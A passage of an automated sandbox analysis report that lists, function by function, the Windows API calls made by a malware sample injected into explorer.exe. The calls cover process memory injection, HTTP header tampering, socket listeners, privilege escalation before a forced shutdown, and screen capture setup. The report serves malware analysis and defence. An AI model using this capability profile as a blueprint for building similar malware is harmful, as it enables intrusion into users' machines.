    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00E5447B
      • Part of subcall function 00E4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00E4DDB9
      • Part of subcall function 00E4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4DDE0
      • Part of subcall function 00E4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00E4DE2A
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE57
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE87
      • Part of subcall function 00E4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00E4DEB5
      • Part of subcall function 00E4DD7A: FindClose.KERNEL32(?), ref: 00E4DEC7
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E53AE1, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00E4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00E4C6C6
      • Part of subcall function 00E4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E4C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E53B48
    • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00E53B9A
      • Part of subcall function 00E4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00E4DDB9
      • Part of subcall function 00E4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4DDE0
      • Part of subcall function 00E4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00E4DE2A
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE57
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE87
      • Part of subcall function 00E4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00E4DEB5
      • Part of subcall function 00E4DD7A: FindClose.KERNEL32(?), ref: 00E4DEC7
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E380FF, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52
    APIs
      • Part of subcall function 00E4834E: MultiByteToWideChar.KERNEL32(00E3815B,00000000,?,?,?,?), ref: 00E48365
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00E3817A
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E373FB, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00E37412
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00E37451
    • VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00E37467
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5BBC0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 00E5BBCA
    • GetThreadDesktop.USER32 ref: 00E5BBD1
    • GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00E5BBEB
      • Part of subcall function 00E5B7E3: TlsAlloc.KERNEL32(?,00E645C0,00000000), ref: 00E5B7FD
      • Part of subcall function 00E5B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00E645C0,00000000), ref: 00E5B824
      • Part of subcall function 00E5B7E3: CreateEventW.KERNEL32(00E62AFC,00000001,00000000,?), ref: 00E5B84B
      • Part of subcall function 00E5B7E3: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E5B86B
      • Part of subcall function 00E5B7E3: CreateFileMappingW.KERNEL32(00000000,00E62AFC,00000004,00000000,03D09128,?), ref: 00E5B893
      • Part of subcall function 00E5B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00E5B8A9
      • Part of subcall function 00E5B7E3: GetDC.USER32(00000000), ref: 00E5B8C6
      • Part of subcall function 00E5B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00E5B8E6
      • Part of subcall function 00E5B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00E5B8F0
      • Part of subcall function 00E5B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00E5B8FD
      • Part of subcall function 00E5B7E3: ReleaseDC.USER32(00000000,00000000), ref: 00E5B925
      • Part of subcall function 00E5B7E3: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E5B9C9
      • Part of subcall function 00E5B7E3: GetDC.USER32(00000000), ref: 00E5B9DE
      • Part of subcall function 00E5B7E3: CreateCompatibleDC.GDI32 ref: 00E5B9EB
      • Part of subcall function 00E5B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00E5BA00
      • Part of subcall function 00E5B7E3: SelectObject.GDI32(?), ref: 00E5BA17
      • Part of subcall function 00E5B7E3: ReleaseDC.USER32(00000000), ref: 00E5BA2D
      • Part of subcall function 00E5BA3D: DeleteObject.GDI32(00000000), ref: 00E5BA4D
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BA5D
      • Part of subcall function 00E5BA3D: TlsFree.KERNEL32 ref: 00E5BA68
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BA76
      • Part of subcall function 00E5BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00E5BA80
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32 ref: 00E5BA8D
      • Part of subcall function 00E5BA3D: SelectObject.GDI32(00000000,00000000), ref: 00E5BAA7
      • Part of subcall function 00E5BA3D: DeleteObject.GDI32(00000000), ref: 00E5BAB8
      • Part of subcall function 00E5BA3D: DeleteDC.GDI32(00000000), ref: 00E5BAC5
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BAD6
      • Part of subcall function 00E5BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00E5BAE5
      • Part of subcall function 00E5BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00E5BC3C,00000000,00E645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00E5BAFE
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4DA51, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00E4DA68
      • Part of subcall function 00E4977E: GetTickCount.KERNEL32 ref: 00E4977E
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00E4DABA
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E475C9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
    APIs
    • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000001,?,80000000), ref: 00E4762E
      • Part of subcall function 00E5A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00E5A902
      • Part of subcall function 00E5A8DC: PathRemoveFileSpecW.SHLWAPI(?), ref: 00E5A915
      • Part of subcall function 00E5A8DC: SHDeleteKeyW.SHLWAPI(80000001,?), ref: 00E5A953
      • Part of subcall function 00E5A8DC: CharToOemW.USER32(?,?), ref: 00E5A96F
      • Part of subcall function 00E5A8DC: CharToOemW.USER32(?,?), ref: 00E5A97E
      • Part of subcall function 00E5A8DC: ExitProcess.KERNEL32(00000000), ref: 00E5A9D6
      • Part of subcall function 00E50533: CreateMutexW.KERNEL32(00E62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00E50556
    • ExitWindowsEx.USER32(00000014,80000000), ref: 00E47641
      • Part of subcall function 00E49B6C: GetCurrentThread.KERNEL32 ref: 00E49B7C
      • Part of subcall function 00E49B6C: OpenThreadToken.ADVAPI32 ref: 00E49B83
      • Part of subcall function 00E49B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00E59F61), ref: 00E49B95
      • Part of subcall function 00E49B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00E59F61,?), ref: 00E49BB9
      • Part of subcall function 00E49B6C: AdjustTokenPrivileges.ADVAPI32(00E59F61,00000000,00000001,00000000,00000000,00000000), ref: 00E49BCE
      • Part of subcall function 00E49B6C: GetLastError.KERNEL32 ref: 00E49BD8
      • Part of subcall function 00E49B6C: CloseHandle.KERNEL32(00E59F61), ref: 00E49BE7
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4DC58, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
    APIs
    • PathSkipRootW.SHLWAPI(?), ref: 00E4DC63
    • GetFileAttributesW.KERNEL32(?), ref: 00E4DC8B
    • CreateDirectoryW.KERNEL32(?,00000000), ref: 00E4DC99
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3787A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00E37898
    • PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 00E378A7
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00E378BB
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E49CA7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26
    APIs
    • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00E49CB4
    • GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00E49CC4
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5131B, Relevance: 6.3, APIs: 4, Instructions: 299
    APIs
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,000000FF), ref: 00E514ED
    • RegQueryValueExW.ADVAPI32(000000FF,?,00000000,00000000,?,?), ref: 00E5150D
    • RegCloseKey.ADVAPI32(000000FF), ref: 00E51520
    • GetLocalTime.KERNEL32(?), ref: 00E5152F
      • Part of subcall function 00E480EB: HeapAlloc.KERNEL32(00000008,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?,?), ref: 00E4810D
      • Part of subcall function 00E480EB: HeapReAlloc.KERNEL32(00000008,?,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?), ref: 00E4811E
      • Part of subcall function 00E49656: CryptAcquireContextW.ADVAPI32(00E4DF1D,00000000,00000000,00000001,F0000040), ref: 00E4966F
      • Part of subcall function 00E49656: CryptCreateHash.ADVAPI32(00E4DF1D,00008003,00000000,00000000,00000030), ref: 00E49687
      • Part of subcall function 00E49656: CryptHashData.ADVAPI32(00000030,00000010,00E4DF1D,00000000), ref: 00E496A3
      • Part of subcall function 00E49656: CryptGetHashParam.ADVAPI32(00000030,00000002,00000030,00000010,00000000), ref: 00E496BB
      • Part of subcall function 00E49656: CryptDestroyHash.ADVAPI32(00000030), ref: 00E496D2
      • Part of subcall function 00E49656: CryptReleaseContext.ADVAPI32(00E4DF1D,00000000), ref: 00E496DC
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5487D, Relevance: 6.2, APIs: 4, Instructions: 194
    APIs
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 00E5493D
      • Part of subcall function 00E4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00E4C6C6
      • Part of subcall function 00E4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E4C748
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00E549F6
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E4C7BB: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00E5C5CF,?), ref: 00E4C7D3
      • Part of subcall function 00E4C7BB: RegCloseKey.ADVAPI32(?), ref: 00E4C7E1
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00E54A8C
    • RegCloseKey.ADVAPI32(?), ref: 00E54A9D
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E57D9B, Relevance: 6.1, APIs: 4, Instructions: 143
    APIs
      • Part of subcall function 00E57C82: HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 00E57CE1
      • Part of subcall function 00E51A14: EnterCriticalSection.KERNEL32(00E63FEC,?,00000000,00000000), ref: 00E51A2F
      • Part of subcall function 00E51A14: LeaveCriticalSection.KERNEL32(00E63FEC,?,00000000,00000000), ref: 00E51AB2
      • Part of subcall function 00E51A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00E51C6F
      • Part of subcall function 00E51A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00E51DEB
    • SetLastError.KERNEL32(00002F78,?), ref: 00E57DFA
      • Part of subcall function 00E570E4: EnterCriticalSection.KERNEL32(00E640F8,?,?,00E5789F), ref: 00E570EE
      • Part of subcall function 00E570E4: LeaveCriticalSection.KERNEL32(00E640F8,?,00E5789F), ref: 00E5710F
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000,?), ref: 00E57E8B
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00E57EA6
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00E57EC1
      • Part of subcall function 00E4A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00E4A146
      • Part of subcall function 00E4A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 00E4A168
      • Part of subcall function 00E4A124: InternetCloseHandle.WININET(?), ref: 00E4A170
      • Part of subcall function 00E526E6: CreateThread.KERNEL32(00000000,00000000,Function_000224CC,?), ref: 00E5272B
      • Part of subcall function 00E526E6: CloseHandle.KERNEL32(?), ref: 00E52744
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E5711A: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E57142
      • Part of subcall function 00E5711A: InterlockedIncrement.KERNEL32(00E64120,?,?), ref: 00E5716A
      • Part of subcall function 00E5711A: EnterCriticalSection.KERNEL32(00E640F8,?,?,?,00000001,00E57E1C,?), ref: 00E57176
      • Part of subcall function 00E5711A: LeaveCriticalSection.KERNEL32(00E640F8,?,?,?,00000001,00E57E1C,?), ref: 00E5718C
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E38C09, Relevance: 6.1, APIs: 4, Instructions: 130
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00E38C30
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • GetFileAttributesW.KERNEL32(?), ref: 00E38C84
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
    • GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00E38CE7
    • GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00E38D15
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4CE96, Relevance: 6.1, APIs: 4, Instructions: 94
    APIs
    • IsBadReadPtr.KERNEL32(00E30000,?), ref: 00E4CEB2
    • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 00E4CED0
    • WriteProcessMemory.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00E4CF62
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • VirtualFreeEx.KERNEL32(00000000,00000000,00000000,00008000), ref: 00E4CF87
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4F911, Relevance: 6.1, APIs: 4, Instructions: 86
    APIs
    • CoCreateInstance.OLE32(00E31620,00000000,00004401,00E31610,?), ref: 00E4F937
    • #8.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00E4F983
    • #2.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 00E4F993
    • #9.OLEAUT32(?,?,00000000,?,?,?,?,?,?,?,?,00E53092,?,?), ref: 00E4F9CC
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4E6D5, Relevance: 6.1, APIs: 4, Instructions: 84
    APIs
      • Part of subcall function 00E4D8FE: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 00E4D913
      • Part of subcall function 00E4D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00E4D8F0
    • WriteFile.KERNEL32(?,?,00000005,?,00000000), ref: 00E4E754
    • WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 00E4E76D
    • SetEndOfFile.KERNEL32 ref: 00E4E791
    • FlushFileBuffers.KERNEL32(?), ref: 00E4E799
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E449F6, Relevance: 6.1, APIs: 4, Instructions: 71
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00E44A0F
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32(00000000), ref: 00E49EC2
      • Part of subcall function 00E49EB0: CloseHandle.KERNEL32 ref: 00E49ECB
      • Part of subcall function 00E380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00E3817A
    • ResetEvent.KERNEL32(?), ref: 00E44A65
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00E44AA0
    • TerminateProcess.KERNEL32(?,00000000), ref: 00E44AB1
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4B708, Relevance: 6.1, APIs: 4, Instructions: 70
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4B733
    • recv.WS2_32(?,?,00000400,00000000), ref: 00E4B77B
    • #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000,?,00E645A0), ref: 00E4B795
    • select.WS2_32(00000000,?,00000000,00000000,00E5B414), ref: 00E4B7D5
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E501A6, Relevance: 6.1, APIs: 4, Instructions: 63
    APIs
      • Part of subcall function 00E37ED5: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E37EF6
    • GetTickCount.KERNEL32 ref: 00E501F8
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • GetTickCount.KERNEL32 ref: 00E50220
      • Part of subcall function 00E4FE76: WaitForSingleObject.KERNEL32(00002710), ref: 00E4FFFD
      • Part of subcall function 00E4FE76: CharLowerA.USER32(00000000), ref: 00E50142
    • GetTickCount.KERNEL32 ref: 00E50239
    • WaitForSingleObject.KERNEL32 ref: 00E5024B
      • Part of subcall function 00E4BD18: ReleaseMutex.KERNEL32 ref: 00E4BD1C
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5711A, Relevance: 6.1, APIs: 4, Instructions: 56
    APIs
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E57142
    • InterlockedIncrement.KERNEL32(00E64120,?,?), ref: 00E5716A
    • EnterCriticalSection.KERNEL32(00E640F8,?,?,?,00000001,00E57E1C,?), ref: 00E57176
    • LeaveCriticalSection.KERNEL32(00E640F8,?,?,?,00000001,00E57E1C,?), ref: 00E5718C
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E448D8, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • TlsGetValue.KERNEL32 ref: 00E448F4
    • SaveDC.GDI32(?), ref: 00E44925
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00E44937
    • RestoreDC.GDI32(?), ref: 00E44949
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4BCB2, Relevance: 6.0, APIs: 4, Instructions: 42
    APIs
    • TranslateMessage.USER32(?), ref: 00E4BCD4
    • DispatchMessageW.USER32(?), ref: 00E4BCDF
    • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00E4BCEF
    • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00E4BD03
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5026D, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
      • Part of subcall function 00E37ED5: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E37EF6
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • GetCurrentThread.KERNEL32 ref: 00E5028E
    • SetThreadPriority.KERNEL32 ref: 00E50295
    • WaitForSingleObject.KERNEL32(00001388), ref: 00E502AD
      • Part of subcall function 00E56F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E56F87
      • Part of subcall function 00E56F66: Process32FirstW.KERNEL32(?,0269FD4C), ref: 00E56FB0
      • Part of subcall function 00E56F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00E5700B
      • Part of subcall function 00E56F66: CloseHandle.KERNEL32 ref: 00E57028
      • Part of subcall function 00E56F66: GetLengthSid.ADVAPI32(?,?,?,0269FF78), ref: 00E5703B
      • Part of subcall function 00E56F66: CloseHandle.KERNEL32(?), ref: 00E570AC
      • Part of subcall function 00E56F66: Process32NextW.KERNEL32(?,0000022C), ref: 00E570B8
      • Part of subcall function 00E56F66: CloseHandle.KERNEL32(?), ref: 00E570C9
    • WaitForSingleObject.KERNEL32(00001388), ref: 00E502C2
      • Part of subcall function 00E4BD18: ReleaseMutex.KERNEL32 ref: 00E4BD1C
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E491F6, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E43FFE, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215
    APIs
      • Part of subcall function 00E4BAFD: getsockname.WS2_32(?,?,?), ref: 00E4BB1B
      • Part of subcall function 00E4B3EC: recv.WS2_32(?,?,00000001,00000000), ref: 00E4B410
    • getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00E440CD
    • freeaddrinfo.WS2_32(?), ref: 00E44103
      • Part of subcall function 00E4B57B: socket.WS2_32(?,00000001,00000006), ref: 00E4B584
      • Part of subcall function 00E4B57B: bind.WS2_32 ref: 00E4B5A4
      • Part of subcall function 00E4B57B: listen.WS2_32(?,00000000), ref: 00E4B5B3
      • Part of subcall function 00E4B57B: #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00E3A401,7FFFFFFF,00000000,?), ref: 00E4B5BE
      • Part of subcall function 00E4B8B2: accept.WS2_32(?,00000000,00000001), ref: 00E4B8DB
      • Part of subcall function 00E4B481: socket.WS2_32(?,00000001,00000006), ref: 00E4B48A
      • Part of subcall function 00E4B481: connect.WS2_32 ref: 00E4B4AA
      • Part of subcall function 00E4B481: #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00E441ED,?,00000000,?,00000000,?,00000001,?), ref: 00E4B4B5
      • Part of subcall function 00E4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00E4B953
      • Part of subcall function 00E4B654: recv.WS2_32(?,?,00000400,00000000), ref: 00E4B69D
      • Part of subcall function 00E4B654: #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000), ref: 00E4B6B7
      • Part of subcall function 00E4B654: select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 00E4B6F4
      • Part of subcall function 00E4B8E5: shutdown.WS2_32(?,00000002), ref: 00E4B8ED
      • Part of subcall function 00E4B8E5: #3.WS2_32(?,?,00000002,00E3A43E), ref: 00E4B8F4
      • Part of subcall function 00E43F88: getpeername.WS2_32(000000FF,00000000,00000000), ref: 00E43FAC
      • Part of subcall function 00E43F88: getsockname.WS2_32(000000FF,00000000,00000000), ref: 00E43FBB
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4FE76, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213
    APIs
      • Part of subcall function 00E4A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00E4A44F
      • Part of subcall function 00E4A3FB: Sleep.KERNEL32(?), ref: 00E4A462
      • Part of subcall function 00E4A3FB: InternetCloseHandle.WININET ref: 00E4A4E8
      • Part of subcall function 00E4FC68: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E4FC91
    • WaitForSingleObject.KERNEL32(00002710), ref: 00E4FFFD
